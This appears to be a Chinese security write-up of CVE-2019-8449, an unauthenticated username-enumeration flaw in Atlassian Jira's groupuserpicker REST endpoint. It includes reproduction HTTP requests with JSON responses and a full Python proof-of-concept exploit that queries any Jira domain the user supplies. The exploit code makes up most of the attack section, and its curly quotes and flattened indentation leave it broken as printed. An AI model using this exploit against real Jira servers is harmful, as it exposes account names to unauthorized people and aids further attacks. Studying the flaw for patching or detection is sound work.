（CVE-2019-8449）Atlassian_Jira_信息泄露漏洞

# （CVE-2019-8449）Atlassian Jira 信息泄露漏洞

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一、漏洞简介
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Atlassian
Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。
Atlassian Jira
8.4.0之前版本中的/rest/api/latest/groupuserpicker资源存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。

二、漏洞影响
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Atlassian Jira 7.12\< 受影响版本\<8.4.0 三、复现过程 ------------ 某JIRA站点www.0-sec.org 我以目标是虚假的情况下，www.0-sec.org没有zerosec用户进行请求 GET /rest/api/latest/groupuserpicker?query=zerosec&maxResults=50&showAvatar=false HTTP/1.1 Host: www.0-sec.org Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 该站点会返回一串json数据，说明找不到该用户 {"users":{"users":[],"total":0,"header":"显示 0 匹配的用户(共 0个)"},"groups":{"header":"显示 0 个匹配的组(共 0个)","total":0,"groups":[]}} 但是当我以一个已知用户身份测试时 GET /rest/api/latest/groupuserpicker?query=DesMond&maxResults=50&showAvatar=false HTTP/1.1 Host: www.0-sec.org Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 会返回相应用户的一些信息 {"users":{"users":[{"name":"Desmond","key":"Desmond","html":"Desmond(Des)-test (Desmond)”,”displayName”:”Desmond(Des)-test”}],”total”:1,”header”:”显示 1 匹配的用户(共 1个)”},”groups”:{“header”:”显示 0 个匹配的组(共 0个)”,”total”:0,”groups”:[]}}

### poc

> CVE-2019-8449.py

# Exploit Title: Jira 8.3.4 – Information Disclosure (Username Enumeration)
# Date: 2019-09-11
# Exploit Author: Mufeed VH
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Version: 8.3.4
# Tested on: Pop!_OS 19.10
# CVE : CVE-2019-8449

# CVE-2019-8449 Exploit for Jira v2.1 – v8.3.4
# DETAILS :: https://www.cvedetails.com/cve/CVE-2019-8449/
# CONFIRM :: https://jira.atlassian.com/browse/JRASERVER-69796

#!/usr/bin/env python

__author__ = “Mufeed VH (@mufeedvh)”

import os
import requests

class CVE_2019_8449:
def ask_for_domain(self):
domain = raw_input(“[>] Enter the domain of Jira instance: => “)
if domain == “”:
print(“\n[-] ERROR: domain is required\n”)
self.ask_for_domain()
self.url = “https://{}/rest/api/latest/groupuserpicker”.format(domain)

def ask_for_query(self):
self.query = raw_input(“[>] Enter search query: [required] (Example: admin) => “)
if self.query == “”:
print(“\n[-] ERROR: The query parameter is required\n”)
self.ask_for_query()

def exploit(self):
self.ask_for_domain()
self.ask_for_query()

maxResults = raw_input(“\n[>] Enter the number of maximum results to fetch: (50) => “)
showAvatar = raw_input(“\n[>] Enter ‘true’ or ‘false’ whether to show Avatar of the user or not: (false) => “)
fieldId = raw_input(“\n[>] Enter the fieldId to fetch: => “)
projectId = raw_input(“\n[>] Enter the projectId to fetch: => “)
issueTypeId = raw_input(“\n[>] Enter the issueTypeId to fetch: => “)
avatarSize = raw_input(“\n[>] Enter the size of Avatar to fetch: (xsmall) => “)
caseInsensitive = raw_input(“\n[>] Enter ‘true’ or ‘false’ whether to show results case insensitive or not: (false) => “)
excludeConnectAddons = raw_input(“\n[>] Indicates whether Connect app users and groups should be excluded from the search results. If an invalid value is provided, the default value is used: (false) => “)

params = {
‘query’: self.query,
‘maxResults’: maxResults,
‘showAvatar’: showAvatar,
‘fieldId’: fieldId,
‘projectId’: projectId,
‘issueTypeId’: issueTypeId,
‘avatarSize’: avatarSize,
‘caseInsensitive’: caseInsensitive,
‘excludeConnectAddons’: excludeConnectAddons
}

send_it = requests.get(url = self.url, params = params)

try:
response = send_it.json()
except:
print(“\n[-] ERROR: Something went wrong, the request didn’t respond with a JSON result.”)
print(“[-] INFO: It is likely that the domain you’ve entered is wrong or this Jira instance is not exploitable.”)
print(“[-] INFO: Try visting the target endpoint manually ({}) and confirm the endpoint is accessible.”.format(self.url))
quit()

print(“\n<========== RESPONSE ==========>\n”)
print(response)
print(“\n<==============================>\n”)

if __name__ == ‘__main__’:
os.system(‘cls’ if os.name == ‘nt’ else ‘clear’)

print(”’
========
| |
| CVE-2019-8449 Exploit for Jira v2.1 – v8.3.4 |
| Proof of Concept By: Mufeed VH [@mufeedvh] |
| |
========
”’)

CVE_2019_8449().exploit()